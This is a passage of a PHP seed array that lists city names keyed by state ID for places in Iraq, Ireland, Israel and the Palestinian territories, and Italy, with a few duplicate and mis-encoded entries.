'al-basrah'],\n ['state_id' => '1743', 'name' => 'al-faw'],\n ['state_id' => '1743', 'name' => 'al-qurnah'],\n ['state_id' => '1743', 'name' => 'az-zubayr'],\n ['state_id' => '1744', 'name' => 'ar-rumaythah'],\n ['state_id' => '1744', 'name' => 'as-samawah'],\n ['state_id' => '1745', 'name' => '\\'afak'],\n ['state_id' => '1745', 'name' => 'ad-diwaniyah'],\n ['state_id' => '1745', 'name' => 'al-ghammas'],\n ['state_id' => '1745', 'name' => 'al-hamzah'],\n ['state_id' => '1745', 'name' => 'ash-shamiyah'],\n ['state_id' => '1745', 'name' => 'ash-shinafiyah'],\n ['state_id' => '1746', 'name' => 'al-kufah'],\n ['state_id' => '1746', 'name' => 'al-mishkhab'],\n ['state_id' => '1746', 'name' => 'an-najaf'],\n ['state_id' => '1747', 'name' => 'chamchamal'],\n ['state_id' => '1747', 'name' => 'halabjah'],\n ['state_id' => '1747', 'name' => 'kusanjaq'],\n ['state_id' => '1747', 'name' => 'panjwin'],\n ['state_id' => '1747', 'name' => 'qal\\'at dizeh'],\n ['state_id' => '1747', 'name' => 'as-sulaymaniyah'],\n ['state_id' => '1748', 'name' => '\\'aqrah'],\n ['state_id' => '1748', 'name' => 'kirkuk'],\n ['state_id' => '1749', 'name' => 'moira'],\n ['state_id' => '1750', 'name' => 'bagenalstown'],\n ['state_id' => '1750', 'name' => 'carlow'],\n ['state_id' => '1750', 'name' => 'tullow'],\n ['state_id' => '1751', 'name' => 'bailieborough'],\n ['state_id' => '1751', 'name' => 'belturbet'],\n ['state_id' => '1751', 'name' => 'cavan'],\n ['state_id' => '1751', 'name' => 'coothill'],\n ['state_id' => '1752', 'name' => 'ennis'],\n ['state_id' => '1752', 'name' => 'kilkee'],\n ['state_id' => '1752', 'name' => 'kilrush'],\n ['state_id' => '1752', 'name' => 'newmarket-on-fergus'],\n ['state_id' => '1752', 'name' => 'shannon'],\n ['state_id' => '1753', 'name' => 'bandon'],\n ['state_id' => '1753', 'name' => 'bantry'],\n ['state_id' => '1753', 'name' => 'blarney'],\n ['state_id' => '1753', 'name' => 'carrigaline'],\n ['state_id' => '1753', 'name' => 'charleville'],\n ['state_id' => '1753', 'name' => 'clonakilty'],\n ['state_id' => '1753', 'name' => 'cobh'],\n ['state_id' => '1753', 'name' => 'cork'],\n ['state_id' => '1753', 'name' => 'drishane'],\n ['state_id' => '1753', 'name' => 'dunmanway'],\n ['state_id' => '1753', 'name' => 'fermoy'],\n ['state_id' => '1753', 'name' => 'kanturk'],\n ['state_id' => '1753', 'name' => 'kinsale'],\n ['state_id' => '1753', 'name' => 'macroom'],\n ['state_id' => '1753', 'name' => 'mallow'],\n ['state_id' => '1753', 'name' => 'midleton'],\n ['state_id' => '1753', 'name' => 'millstreet'],\n ['state_id' => '1753', 'name' => 'mitchelstown'],\n ['state_id' => '1753', 'name' => 'passage west'],\n ['state_id' => '1753', 'name' => 'skibbereen'],\n ['state_id' => '1753', 'name' => 'youghal'],\n ['state_id' => '1754', 'name' => 'ballybofey'],\n ['state_id' => '1754', 'name' => 'ballyshannon'],\n ['state_id' => '1754', 'name' => 'buncrana'],\n ['state_id' => '1754', 'name' => 'bundoran'],\n ['state_id' => '1754', 'name' => 'carndonagh'],\n ['state_id' => '1754', 'name' => 'donegal'],\n ['state_id' => '1754', 'name' => 'killybegs'],\n ['state_id' => '1754', 'name' => 'letterkenny'],\n ['state_id' => '1754', 'name' => 'lifford'],\n ['state_id' => '1754', 'name' => 'moville'],\n ['state_id' => '1755', 'name' => 'balbriggan'],\n ['state_id' => '1755', 'name' => 'ballsbridge'],\n ['state_id' => '1755', 'name' => 'dublin'],\n ['state_id' => '1755', 'name' => 'leixlip'],\n ['state_id' => '1755', 'name' => 'lucan'],\n ['state_id' => '1755', 'name' => 'malahide'],\n ['state_id' => '1755', 'name' => 'portrane'],\n ['state_id' => '1755', 'name' => 'rathcoole'],\n ['state_id' => '1755', 'name' => 'rush'],\n ['state_id' => '1755', 'name' => 'skerries'],\n ['state_id' => '1755', 'name' => 'swords'],\n ['state_id' => '1756', 'name' => 'athenry'],\n ['state_id' => '1756', 'name' => 'ballinasloe'],\n ['state_id' => '1756', 'name' => 'clifden'],\n ['state_id' => '1756', 'name' => 'galway'],\n ['state_id' => '1756', 'name' => 'gort'],\n ['state_id' => '1756', 'name' => 'loughrea'],\n ['state_id' => '1756', 'name' => 'tuam'],\n ['state_id' => '1757', 'name' => 'ballybunion'],\n ['state_id' => '1757', 'name' => 'cahirciveen'],\n ['state_id' => '1757', 'name' => 'castleisland'],\n ['state_id' => '1757', 'name' => 'dingle'],\n ['state_id' => '1757', 'name' => 'kenmare'],\n ['state_id' => '1757', 'name' => 'killarney'],\n ['state_id' => '1757', 'name' => 'killorglin'],\n ['state_id' => '1757', 'name' => 'listowel'],\n ['state_id' => '1757', 'name' => 'tralee'],\n ['state_id' => '1758', 'name' => 'athy'],\n ['state_id' => '1758', 'name' => 'celbridge'],\n ['state_id' => '1758', 'name' => 'clane'],\n ['state_id' => '1758', 'name' => 'kilcock'],\n ['state_id' => '1758', 'name' => 'kilcullen'],\n ['state_id' => '1758', 'name' => 'kildare'],\n ['state_id' => '1758', 'name' => 'maynooth'],\n ['state_id' => '1758', 'name' => 'monasterevan'],\n ['state_id' => '1758', 'name' => 'naas'],\n ['state_id' => '1758', 'name' => 'newbridge'],\n ['state_id' => '1759', 'name' => 'callan'],\n ['state_id' => '1759', 'name' => 'castlecomer'],\n ['state_id' => '1759', 'name' => 'kilkenny'],\n ['state_id' => '1759', 'name' => 'thomastown'],\n ['state_id' => '1760', 'name' => 'abbeyleix'],\n ['state_id' => '1760', 'name' => 'mountmellick'],\n ['state_id' => '1760', 'name' => 'mountrath'],\n ['state_id' => '1760', 'name' => 'port laoise'],\n ['state_id' => '1760', 'name' => 'portarlington'],\n ['state_id' => '1761', 'name' => 'meath'],\n ['state_id' => '1762', 'name' => 'carrick-on-shannon'],\n ['state_id' => '1763', 'name' => 'abbeyfeale'],\n ['state_id' => '1763', 'name' => 'kilmallock'],\n ['state_id' => '1763', 'name' => 'limerick'],\n ['state_id' => '1763', 'name' => 'newcastle'],\n ['state_id' => '1763', 'name' => 'rathkeale'],\n ['state_id' => '1765', 'name' => 'granard'],\n ['state_id' => '1765', 'name' => 'longford'],\n ['state_id' => '1765', 'name' => 'moate'],\n ['state_id' => '1766', 'name' => 'ardee'],\n ['state_id' => '1766', 'name' => 'drogheda'],\n ['state_id' => '1766', 'name' => 'drumcar'],\n ['state_id' => '1766', 'name' => 'dundalk'],\n ['state_id' => '1767', 'name' => 'ballina'],\n ['state_id' => '1767', 'name' => 'ballinrobe'],\n ['state_id' => '1767', 'name' => 'ballyhaunis'],\n ['state_id' => '1767', 'name' => 'castlebar'],\n ['state_id' => '1767', 'name' => 'claremorris'],\n ['state_id' => '1767', 'name' => 'swinford'],\n ['state_id' => '1767', 'name' => 'westport'],\n ['state_id' => '1768', 'name' => 'ashbourne'],\n ['state_id' => '1768', 'name' => 'duleek'],\n ['state_id' => '1768', 'name' => 'dunboyne'],\n ['state_id' => '1768', 'name' => 'dunshaughlin'],\n ['state_id' => '1768', 'name' => 'kells'],\n ['state_id' => '1768', 'name' => 'laytown'],\n ['state_id' => '1768', 'name' => 'navan'],\n ['state_id' => '1768', 'name' => 'trim'],\n ['state_id' => '1769', 'name' => 'carrickmacross'],\n ['state_id' => '1769', 'name' => 'castleblayney'],\n ['state_id' => '1769', 'name' => 'clones'],\n ['state_id' => '1769', 'name' => 'monaghan'],\n ['state_id' => '1770', 'name' => 'banagher'],\n ['state_id' => '1770', 'name' => 'birr'],\n ['state_id' => '1770', 'name' => 'clara'],\n ['state_id' => '1770', 'name' => 'edenderry'],\n ['state_id' => '1770', 'name' => 'kilcormac'],\n ['state_id' => '1770', 'name' => 'tullamore'],\n ['state_id' => '1771', 'name' => 'ballaghaderreen'],\n ['state_id' => '1771', 'name' => 'boyle'],\n ['state_id' => '1771', 'name' => 'castlerea'],\n ['state_id' => '1771', 'name' => 'roscommon'],\n ['state_id' => '1772', 'name' => 'sligo'],\n ['state_id' => '1775', 'name' => 'co tyrone'],\n ['state_id' => '1775', 'name' => 'downpatrick'],\n ['state_id' => '1776', 'name' => 'dungarvan'],\n ['state_id' => '1776', 'name' => 'tramore'],\n ['state_id' => '1776', 'name' => 'waterford'],\n ['state_id' => '1777', 'name' => 'athlone'],\n ['state_id' => '1777', 'name' => 'mullingar'],\n ['state_id' => '1778', 'name' => 'enniscorthy'],\n ['state_id' => '1778', 'name' => 'gorey'],\n ['state_id' => '1778', 'name' => 'new ross'],\n ['state_id' => '1778', 'name' => 'wexford'],\n ['state_id' => '1779', 'name' => 'arklow'],\n ['state_id' => '1779', 'name' => 'baltinglass'],\n ['state_id' => '1779', 'name' => 'blessington'],\n ['state_id' => '1779', 'name' => 'bray'],\n ['state_id' => '1779', 'name' => 'greystones'],\n ['state_id' => '1779', 'name' => 'kilcoole'],\n ['state_id' => '1779', 'name' => 'newtownmountkennedy'],\n ['state_id' => '1779', 'name' => 'rathdrum'],\n ['state_id' => '1779', 'name' => 'wicklow'],\n ['state_id' => '1782', 'name' => 'bethlehem'],\n ['state_id' => '1783', 'name' => 'caesarea'],\n ['state_id' => '1784', 'name' => 'petach tikva'],\n ['state_id' => '1784', 'name' => 'ramallah'],\n ['state_id' => '1785', 'name' => 'gaza'],\n ['state_id' => '1786', 'name' => '\\'arad'],\n ['state_id' => '1786', 'name' => '\\'omer'],\n ['state_id' => '1786', 'name' => 'ashdod'],\n ['state_id' => '1786', 'name' => 'ashqelon'],\n ['state_id' => '1786', 'name' => 'be\\'er sheva'],\n ['state_id' => '1786', 'name' => 'beersheba'],\n ['state_id' => '1786', 'name' => 'bene ayish'],\n ['state_id' => '1786', 'name' => 'dimona'],\n ['state_id' => '1786', 'name' => 'elat'],\n ['state_id' => '1786', 'name' => 'gan yavne'],\n ['state_id' => '1786', 'name' => 'nahal `oz'],\n ['state_id' => '1786', 'name' => 'netivot'],\n ['state_id' => '1786', 'name' => 'ofaqim'],\n ['state_id' => '1786', 'name' => 'qiryat gat'],\n ['state_id' => '1786', 'name' => 'qiryat mal\\'akhi'],\n ['state_id' => '1786', 'name' => 'sederot'],\n ['state_id' => '1786', 'name' => 'yeroham'],\n ['state_id' => '1786', 'name' => 'kiryat malachi'],\n ['state_id' => '1788', 'name' => 'be\\'er ya\\'aqov'],\n ['state_id' => '1788', 'name' => 'beit shemesh'],\n ['state_id' => '1788', 'name' => 'bene beraq'],\n ['state_id' => '1788', 'name' => 'bnei brak'],\n ['state_id' => '1788', 'name' => 'even yehuda'],\n ['state_id' => '1788', 'name' => 'fureidis'],\n ['state_id' => '1788', 'name' => 'gat rimon'],\n ['state_id' => '1788', 'name' => 'gedera'],\n ['state_id' => '1788', 'name' => 'givat shmuel'],\n ['state_id' => '1788', 'name' => 'hibat zion'],\n ['state_id' => '1788', 'name' => 'hod hasharon'],\n ['state_id' => '1788', 'name' => 'hogar'],\n ['state_id' => '1788', 'name' => 'jaljulye'],\n ['state_id' => '1788', 'name' => 'jatt'],\n ['state_id' => '1788', 'name' => 'kafar qasem'],\n ['state_id' => '1788', 'name' => 'kefar sava'],\n ['state_id' => '1788', 'name' => 'kefar yona'],\n ['state_id' => '1788', 'name' => 'kfar saba'],\n ['state_id' => '1788', 'name' => 'kiryag bialik'],\n ['state_id' => '1788', 'name' => 'lod'],\n ['state_id' => '1788', 'name' => 'mazkeret batya'],\n ['state_id' => '1788', 'name' => 'modi\\'in'],\n ['state_id' => '1788', 'name' => 'nes ziyyona'],\n ['state_id' => '1788', 'name' => 'ness ziona'],\n ['state_id' => '1788', 'name' => 'netanya'],\n ['state_id' => '1788', 'name' => 'nordiya'],\n ['state_id' => '1788', 'name' => 'pardesiyya'],\n ['state_id' => '1788', 'name' => 'petakh tiqwa'],\n ['state_id' => '1788', 'name' => 'qadima'],\n ['state_id' => '1788', 'name' => 'qalansawe'],\n ['state_id' => '1788', 'name' => 'qiryat \\'eqron'],\n ['state_id' => '1788', 'name' => 'ra\\'anana'],\n ['state_id' => '1788', 'name' => 'ramla'],\n ['state_id' => '1788', 'name' => 'rehovot'],\n ['state_id' => '1788', 'name' => 'rekhovot'],\n ['state_id' => '1788', 'name' => 'rinnatya'],\n ['state_id' => '1788', 'name' => 'rishon leziyyon'],\n ['state_id' => '1788', 'name' => 'rosh haayin'],\n ['state_id' => '1788', 'name' => 'shoham'],\n ['state_id' => '1788', 'name' => 'tayibe'],\n ['state_id' => '1788', 'name' => 'tire'],\n ['state_id' => '1788', 'name' => 'tsur igal'],\n ['state_id' => '1788', 'name' => 'udim'],\n ['state_id' => '1788', 'name' => 'yavne'],\n ['state_id' => '1788', 'name' => 'yehud'],\n ['state_id' => '1789', 'name' => '\\'afula'],\n ['state_id' => '1789', 'name' => '\\'akko'],\n ['state_id' => '1789', 'name' => '\\'arrabe'],\n ['state_id' => '1789', 'name' => '\\'ein mahel'],\n ['state_id' => '1789', 'name' => '\\'ilut'],\n ['state_id' => '1789', 'name' => 'abu sinan'],\n ['state_id' => '1789', 'name' => 'basmat tab\\'un'],\n ['state_id' => '1789', 'name' => 'beit jann'],\n ['state_id' => '1789', 'name' => 'bet she\\'an'],\n ['state_id' => '1789', 'name' => 'bi\\'ne'],\n ['state_id' => '1789', 'name' => 'bir-al-maksur'],\n ['state_id' => '1789', 'name' => 'bu\\'eine-nujeidat'],\n ['state_id' => '1789', 'name' => 'dabburye'],\n ['state_id' => '1789', 'name' => 'dayr hannah'],\n ['state_id' => '1789', 'name' => 'dayr-al-asad'],\n ['state_id' => '1789', 'name' => 'hazor hagelilit'],\n ['state_id' => '1789', 'name' => 'i\\'billin'],\n ['state_id' => '1789', 'name' => 'iksal'],\n ['state_id' => '1789', 'name' => 'judeide-maker'],\n ['state_id' => '1789', 'name' => 'kabul'],\n ['state_id' => '1789', 'name' => 'kafar kanna'],\n ['state_id' => '1789', 'name' => 'kafar manda'],\n ['state_id' => '1789', 'name' => 'kafar yasif'],\n ['state_id' => '1789', 'name' => 'karmiel'],\n ['state_id' => '1789', 'name' => 'kisra-sumei'],\n ['state_id' => '1789', 'name' => 'ma\\'alot tarshikha'],\n ['state_id' => '1789', 'name' => 'majd-al-kurum'],\n ['state_id' => '1789', 'name' => 'migdal ha\\'emeq'],\n ['state_id' => '1789', 'name' => 'mugar'],\n ['state_id' => '1789', 'name' => 'nahariyya'],\n ['state_id' => '1789', 'name' => 'nahef'],\n ['state_id' => '1789', 'name' => 'nazerat'],\n ['state_id' => '1789', 'name' => 'nazerat \\'illit'],\n ['state_id' => '1789', 'name' => 'qiryat shemona'],\n ['state_id' => '1789', 'name' => 'qiryat tiv\\'on'],\n ['state_id' => '1789', 'name' => 'rame'],\n ['state_id' => '1789', 'name' => 'reine'],\n ['state_id' => '1789', 'name' => 'sakhnin'],\n ['state_id' => '1789', 'name' => 'shefar\\'am'],\n ['state_id' => '1789', 'name' => 'tamra'],\n ['state_id' => '1789', 'name' => 'tiberias'],\n ['state_id' => '1789', 'name' => 'tur\\'an'],\n ['state_id' => '1789', 'name' => 'yirka'],\n ['state_id' => '1789', 'name' => 'yoqne\\'am illit'],\n ['state_id' => '1789', 'name' => 'zefat'],\n ['state_id' => '1789', 'name' => 'zur yigal'],\n ['state_id' => '1790', 'name' => 'hebron'],\n ['state_id' => '1791', 'name' => 'sgula'],\n ['state_id' => '1792', 'name' => 'jerusalem'],\n ['state_id' => '1793', 'name' => '\\'ar\\'ara'],\n ['state_id' => '1793', 'name' => '\\'isifya'],\n ['state_id' => '1793', 'name' => 'baqa al-gharbiyyah'],\n ['state_id' => '1793', 'name' => 'binyamina'],\n ['state_id' => '1793', 'name' => 'daliyat-al-karmil'],\n ['state_id' => '1793', 'name' => 'jizr-az-zarqa'],\n ['state_id' => '1793', 'name' => 'khadera'],\n ['state_id' => '1793', 'name' => 'khefa'],\n ['state_id' => '1793', 'name' => 'nesher'],\n ['state_id' => '1793', 'name' => 'or \\'aqiva'],\n ['state_id' => '1793', 'name' => 'pardes khanna-karkur'],\n ['state_id' => '1793', 'name' => 'qiryat atta'],\n ['state_id' => '1793', 'name' => 'qiryat bialik'],\n ['state_id' => '1793', 'name' => 'qiryat motzkin'],\n ['state_id' => '1793', 'name' => 'qiryat yam'],\n ['state_id' => '1793', 'name' => 'rekhasim'],\n ['state_id' => '1793', 'name' => 'tirat karmel'],\n ['state_id' => '1793', 'name' => 'umm-al-fahm'],\n ['state_id' => '1793', 'name' => 'zikhron ya\\'aqov'],\n ['state_id' => '1796', 'name' => 'qalqilya'],\n ['state_id' => '1799', 'name' => 'hadera'],\n ['state_id' => '1799', 'name' => 'kiryag bialik'],\n ['state_id' => '1801', 'name' => 'bet shemesh'],\n ['state_id' => '1801', 'name' => 'mevasserat ziyyon'],\n ['state_id' => '1801', 'name' => 'yerushalayim'],\n ['state_id' => '1802', 'name' => 'meta'],\n ['state_id' => '1802', 'name' => 'miano'],\n ['state_id' => '1803', 'name' => 'alba adriatica'],\n ['state_id' => '1803', 'name' => 'atessa'],\n ['state_id' => '1803', 'name' => 'atri'],\n ['state_id' => '1803', 'name' => 'avezzano'],\n ['state_id' => '1803', 'name' => 'celano'],\n ['state_id' => '1803', 'name' => 'cepagatti'],\n ['state_id' => '1803', 'name' => 'chieti'],\n ['state_id' => '1803', 'name' => 'citta sant\\'angelo'],\n ['state_id' => '1803', 'name' => 'francavilla al mare'],\n ['state_id' => '1803', 'name' => 'giulianova'],\n ['state_id' => '1803', 'name' => 'guardiagrele'],\n ['state_id' => '1803', 'name' => 'l\\'aquila'],\n ['state_id' => '1803', 'name' => 'lanciano'],\n ['state_id' => '1803', 'name' => 'martinsicuro'],\n ['state_id' => '1803', 'name' => 'montesilvano'],\n ['state_id' => '1803', 'name' => 'montorio al vomano'],\n ['state_id' => '1803', 'name' => 'mosciano sant\\'angelo'],\n ['state_id' => '1803', 'name' => 'ortona'],\n ['state_id' => '1803', 'name' => 'penne'],\n ['state_id' => '1803', 'name' => 'pescara'],\n ['state_id' => '1803', 'name' => 'pineto'],\n ['state_id' => '1803', 'name' => 'roseto degli abruzzi'],\n ['state_id' => '1803', 'name' => 'san giovanni teatino'],\n ['state_id' => '1803', 'name' => 'san salvo'],\n ['state_id' => '1803', 'name' => 'sant\\'egidio alla vibrata'],\n ['state_id' => '1803', 'name' => 'silvi'],\n ['state_id' => '1803', 'name' => 'spoltore'],\n ['state_id' => '1803', 'name' => 'sulmona'],\n ['state_id' => '1803', 'name' => 'teramo'],\n ['state_id' => '1803', 'name' => 'vasto'],\n ['state_id' => '1804', 'name' => 'agrigento'],\n ['state_id' => '1804', 'name' => 'alessandria della rocca'],\n ['state_id' => '1804', 'name' => 'aragona'],\n ['state_id' => '1804', 'name' => 'bivona'],\n ['state_id' => '1804', 'name' => 'burgio'],\n ['state_id' => '1804', 'name' => 'calamonaci'],\n ['state_id' => '1804', 'name' => 'caltabellotta'],\n ['state_id' => '1804', 'name' => 'camastra'],\n ['state_id' => '1804', 'name' => 'cammarata'],\n ['state_id' => '1804', 'name' => 'campobello di licata'],\n ['state_id' => '1804', 'name' => 'canicattãƒâ¬'],\n ['state_id' => '1804', 'name' => 'casteltermini'],\n ['state_id' => '1804', 'name' => 'castrofilippo'],\n ['state_id' => '1804', 'name' => 'cattolica eraclea'],\n ['state_id' => '1804', 'name' => 'cianciana'],\n ['state_id' => '1804', 'name' => 'comitini'],\n ['state_id' => '1804', 'name' => 'favara'],\n ['state_id' => '1804', 'name' => 'grotte'],\n ['state_id' => '1804', 'name' => 'joppolo giancaxio'],\n ['state_id' => '1804', 'name' => 'lampedusa e linosa'],\n ['state_id' => '1804', 'name' => 'licata'],\n ['state_id' => '1804', 'name' => 'lucca sicula'],\n ['state_id' => '1804', 'name' => 'menfi'],\n ['state_id' => '1804', 'name' => 'montallegro'],\n ['state_id' => '1804', 'name' => 'montevago'],\n ['state_id' => '1804', 'name' => 'naro'],\n ['state_id' => '1804', 'name' => 'palma di montechiaro'],\n ['state_id' => '1804', 'name' => 'porto empedocle'],\n ['state_id' => '1804', 'name' => 'racalmuto'],\n ['state_id' => '1804', 'name' => 'raffadali'],\n ['state_id' => '1804', 'name' => 'ravanusa'],\n ['state_id' => '1804', 'name' => 'realmonte'],\n ['state_id' => '1804', 'name' => 'ribera'],\n ['state_id' => '1804', 'name' => 'sambuca di sicilia'],\n ['state_id' => '1804', 'name' => 'san biagio platani'],\n ['state_id' => '1804', 'name' => 'san giovanni gemini'],\n ['state_id' => '1804', 'name' => 'sant angelo muxaro'],\n ['state_id' => '1804', 'name' => 'santa elisabetta'],\n ['state_id' => '1804', 'name' => 'santa margherita di belice'],\n ['state_id' => '1804', 'name' => 'santo stefano quisquina'],\n ['state_id' => '1804', 'name' => 'sciacca'],\n ['state_id' => '1804', 'name' => 'siculiana'],\n ['state_id' => '1804', 'name' => 'villafranca sicula'],\n ['state_id' => '1805', 'name' => 'castellazzo bormida'],\n ['state_id' => '1805', 'name' => 'gavi'],\n ['state_id' => '1805', 'name' => 'villanova monferrato'],\n ['state_id' => '1806', 'name' => 'camerano'],\n ['state_id' => '1806', 'name' => 'castelplanio'],\n ['state_id' => '1807', 'name' => 'capolona'],\n ['state_id' => '1807', 'name' => 'montevarchi'],\n ['state_id' => '1807', 'name' => 'subbiano'],\n ['state_id' => '1809', 'name' => 'buttigliera d\\'asti'],\n ['state_id' => '1810', 'name' => 'flumeri'],\n ['state_id' => '1810', 'name' => 'nusco'],\n ['state_id' => '1810', 'name' => 'prata di principato ultra'],\n ['state_id' => '1810', 'name' => 'villanova del battista'],\n ['state_id' => '1812', 'name' => 'avigliano'],\n ['state_id' => '1812', 'name' => 'bernalda'],\n ['state_id' => '1812', 'name' => 'ferrandina'],\n ['state_id' => '1812', 'name' => 'lauria'],\n ['state_id' => '1812', 'name' => 'lavello'],\n ['state_id' => '1812', 'name' => 'matera'],\n ['state_id' => '1812', 'name' => 'melfi'],\n ['state_id' => '1812', 'name' => 'montescaglioso'],\n ['state_id' => '1812', 'name' => 'pisticci'],\n ['state_id' => '1812', 'name' => 'policoro'],\n ['state_id' => '1812', 'name' => 'potenza'],\n ['state_id' => '1812', 'name' => 'rionero in vulture'],\n ['state_id' => '1812', 'name' => 'venosa'],\n ['state_id' => '1813', 'name' => 'belluno'],\n ['state_id' => '1813', 'name' => 'd\\'alpago'],\n ['state_id' => '1813', 'name' => 'longarone'],\n ['state_id' => '1813', 'name' => 'pedavena'],\n ['state_id' => '1814', 'name' => 'san bartolomeo'],\n /*['id'=>'22269','state_id'=>'1815','name'=>''],*/\n ['state_id' => '1815', 'name' => 'bagnatica'],\n ['state_id' => '1815', 'name' => 'bergamo'],\n ['state_id' => '1815', 'name' => 'bolgare'],\n ['state_id' => '1815', 'name' => 'bottanuco'],\n ['state_id' => '1815', 'name' => 'brignano gera d\\'adda'],\n ['state_id' => '1815', 'name' => 'calcio'],\n ['state_id' => '1815', 'name' => 'caravaggio'],\n ['state_id' => '1815', 'name' => 'chiuduno'],\n ['state_id' => '1815', 'name' => 'ciserano'],\n ['state_id' => '1815', 'name' => 'comun nuovo'],\n ['state_id' => '1815', 'name' => 'costa di mezzate'],\n ['state_id' => '1815', 'name' => 'gandino'],\n ['state_id' => '1815', 'name' => 'grassobbio'],\n ['state_id' => '1815', 'name' => 'grumello del monte'],\n ['state_id' => '1815', 'name' => 'grumello del monte'],\n ['state_id' => '1815', 'name' => 'lallio'],\n ['state_id' => '1815', 'name' => 'levate'],\n ['state_id' => '1815', 'name' => 'lurano'],\n ['state_id' => '1815', 'name' => 'mapello'],\n ['state_id' => '1815', 'name' => 'pagazzano'],\n ['state_id' => '1815', 'name' => 'ponteranica'],\n ['state_id' => '1815', 'name' => 'pontida'],\n ['state_id' => '1815', 'name' => 'sant omobono imagna'],\n ['state_id' => '1815', 'name' => 'torre pallavicina'],\n ['state_id' => '1815', 'name' => 'trescore balneario'],\n ['state_id' => '1815', 'name' => 'verdellino'],\n ['state_id' => '1815', 'name' => 'zingonia'],\n ['state_id' => '1816', 'name' => 'camburzano'],\n ['state_id' => '1816', 'name' => 'crevacuore'],\n ['state_id' => '1816', 'name' => 'gaglianico'],\n ['state_id' => '1816', 'name' => 'sandigliano'],\n ['state_id' => '1816', 'name' => 'vigliano biellese'],\n ['state_id' => '1817', 'name' => 'anzola dell\\'emilia'],\n ['state_id' => '1817', 'name' => 'bologna'],\n ['state_id' => '1817', 'name' => 'borgo tossignano'],\n ['state_id' => '1817', 'name' => 'casalfiumanese'],\n ['state_id' => '1817', 'name' => 'castiglione dei pepoli '],\n ['state_id' => '1817', 'name' => 'funo'],\n ['state_id' => '1817', 'name' => 'loiano'],\n ['state_id' => '1817', 'name' => 'monterenzio'],\n ['state_id' => '1817', 'name' => 'osteria grande'],\n ['state_id' => '1818', 'name' => 'frangarto'],\n ['state_id' => '1819', 'name' => 'agnosine'],\n ['state_id' => '1819', 'name' => 'brescia'],\n ['state_id' => '1819', 'name' => 'capriano del colle'],\n ['state_id' => '1819', 'name' => 'capriolo'],\n ['state_id' => '1819', 'name' => 'castegnato'],\n ['state_id' => '1819', 'name' => 'castelcovati'],\n ['state_id' => '1819', 'name' => 'cellatica'],\n ['state_id' => '1819', 'name' => 'coccaglio'],\n ['state_id' => '1819', 'name' => 'comezzano-cizzago'],\n ['state_id' => '1819', 'name' => 'erbusco'],\n ['state_id' => '1819', 'name' => 'flero'],\n ['state_id' => '1819', 'name' => 'lavenone'],\n ['state_id' => '1819', 'name' => 'longhena'],\n ['state_id' => '1819', 'name' => 'maclodio'],\n ['state_id' => '1819', 'name' => 'muscoline'],\n ['state_id' => '1819', 'name' => 'padenghe sul garda'],\n ['state_id' => '1819', 'name' => 'paderno franciacorta'],\n ['state_id' => '1819', 'name' => 'paratico'],\n ['state_id' => '1819', 'name' => 'passirano'],\n ['state_id' => '1819', 'name' => 'polaveno'],\n ['state_id' => '1819', 'name' => 'poncarale'],\n ['state_id' => '1819', 'name' => 'prevalle'],\n ['state_id' => '1819', 'name' => 'provaglio diseo'],\n ['state_id' => '1819', 'name' => 'roncadelle'],\n ['state_id' => '1819', 'name' => 'verolavecchia'],\n ['state_id' => '1819', 'name' => 'visano'],\n ['state_id' => '1820', 'name' => 'san donaci'],\n ['state_id' => '1821', 'name' => 'acri'],\n ['state_id' => '1821', 'name' => 'amantea'],\n ['state_id' => '1821', 'name' => 'bagnara calabra'],\n ['state_id' => '1821', 'name' => 'belvedere marittimo'],\n ['state_id' => '1821', 'name' => 'bisignano'],\n ['state_id' => '1821', 'name' => 'bovalino'],\n ['state_id' => '1821', 'name' => 'cariati'],\n ['state_id' => '1821', 'name' => 'cassano allo ionio'],\n ['state_id' => '1821', 'name' => 'castrolibero'],\n ['state_id' => '1821', 'name' => 'castrovillari'],\n ['state_id' => '1821', 'name' => 'catanzaro'],\n ['state_id' => '1821', 'name' => 'cetraro'],\n ['state_id' => '1821', 'name' => 'ciro marina'],\n ['state_id' => '1821', 'name' => 'cittanova'],\n ['state_id' => '1821', 'name' => 'corigliano calabro'],\n ['state_id' => '1821', 'name' => 'cosenza'],\n ['state_id' => '1821', 'name' => 'crosia'],\n ['state_id' => '1821', 'name' => 'crotone'],\n ['state_id' => '1821', 'name' => 'cutro'],\n ['state_id' => '1821', 'name' => 'fuscaldo'],\n ['state_id' => '1821', 'name' => 'gioia tauro'],\n ['state_id' => '1821', 'name' => 'isola di capo rizzuto'],\n ['state_id' => '1821', 'name' => 'lamezia terme'],\n ['state_id' => '1821', 'name' => 'locri'],\n ['state_id' => '1821', 'name' => 'luzzi'],\n ['state_id' => '1821', 'name' => 'melito di porto salvo'],\n ['state_id' => '1821', 'name' => 'mendicino'],\n ['state_id' => '1821', 'name' => 'montalto uffugo'],\n ['state_id' => '1821', 'name' => 'palmi'],\n ['state_id' => '1821', 'name' => 'paola'],\n ['state_id' => '1821', 'name' => 'petilia policastro'],\n ['state_id' => '1821', 'name' => 'pizzo'],\n ['state_id' => '1821', 'name' => 'polistena'],\n ['state_id' => '1821', 'name' => 'reggio di calabria'],\n ['state_id' => '1821', 'name' => 'rende'],\n ['state_id' => '1821', 'name' => 'rosarno'],\n ['state_id' => '1821', 'name' => 'rossano'],\n ['state_id' => '1821', 'name' => 'san giovanni in fiore'],\n ['state_id' => '1821', 'name' => 'scalea'],\n ['state_id' => '1821', 'name' => 'sellia marina'],\n ['state_id' => '1821', 'name' => 'siderno'],\n ['state_id' => '1821', 'name' => 'soverato'],\n ['state_id' => '1821', 'name' => 'taurianova'],\n ['state_id' => '1821', 'name' => 'trebisacce'],\n ['state_id' => '1821', 'name' => 'vibo valentia'],\n ['state_id' => '1821', 'name' => 'villa san giovanni'],\n ['state_id' => '1822', 'name' => 'acerra'],\n ['state_id' => '1822', 'name' => 'afragola'],\n ['state_id' => '1822', 'name' => 'agropoli'],\n ['state_id' => '1822', 'name' => 'angri'],\n ['state_id' => '1822', 'name' => 'ariano irpino'],\n ['state_id' => '1822', 'name' => 'arzano'],\n ['state_id' => '1822', 'name' => 'atripalda'],\n ['state_id' => '1822', 'name' => 'avellino'],\n ['state_id' => '1822', 'name' => 'aversa'],\n ['state_id' => '1822', 'name' => 'bacoli'],\n ['state_id' => '1822', 'name' => 'barano d\\'ischia'],\n ['state_id' => '1822', 'name' => 'baronissi'],\n ['state_id' => '1822', 'name' => 'battipaglia'],\n ['state_id' => '1822', 'name' => 'bellizzi'],\n ['state_id' => '1822', 'name' => 'benevento'],\n ['state_id' => '1822', 'name' => 'boscoreale'],\n ['state_id' => '1822', 'name' => 'boscotrecase'],\n ['state_id' => '1822', 'name' => 'brusciano'],\n 